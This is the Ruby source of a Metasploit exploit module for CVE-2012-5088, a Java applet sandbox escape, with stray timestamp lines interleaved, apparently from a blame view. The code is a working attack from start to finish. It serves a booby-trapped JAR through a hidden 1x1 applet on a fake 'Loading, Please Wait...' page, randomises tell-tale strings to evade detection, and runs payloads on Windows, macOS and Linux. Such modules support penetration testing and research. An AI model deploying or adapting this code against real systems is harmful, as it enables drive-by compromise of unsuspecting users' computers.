2013-01-17 20:14:49 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2013-01-17 20:14:49 +00:00
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##
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require 'msf/core'
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require 'rex'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = ExcellentRanking
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2013-01-17 20:14:49 +00:00
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2013-08-30 21:28:54 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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2013-01-17 20:14:49 +00:00
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2013-11-12 18:37:29 +00:00
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#include Msf::Exploit::Remote::BrowserAutopwn
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#autopwn_info({ :javascript => false })
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2013-08-30 21:28:54 +00:00
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet Method Handle Remote Code Execution',
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'Description' => %q{
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This module abuses the Method Handle class from a Java Applet to run arbitrary
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Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
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earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery at security-explorations.com
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-5088' ],
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[ 'OSVDB', '86352' ],
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[ 'BID', '56057' ],
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[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
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[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
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],
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'Platform' => %w{ java linux osx win },
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'Payload' => { 'Space' => 20480, 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 16 2012'
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))
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end
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2013-08-30 21:28:54 +00:00
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def setup
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path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "Exploit.class")
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@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "B.class")
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@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha("Exploit".length)
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@exploit_class.gsub!("Exploit", @exploit_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file("B.class", @loader_class)
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metasploit_str = rand_text_alpha("metasploit".length)
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payload_str = rand_text_alpha("payload".length)
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jar.entries.each { |entry|
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entry.name.gsub!("metasploit", metasploit_str)
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entry.name.gsub!("Payload", payload_str)
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entry.data = entry.data.gsub("metasploit", metasploit_str)
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entry.data = entry.data.gsub("Payload", payload_str)
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}
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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end
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def generate_html
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html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
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html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
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html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
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html += %Q|</applet></body></html>|
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return html
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end
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2013-01-17 20:14:49 +00:00
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end
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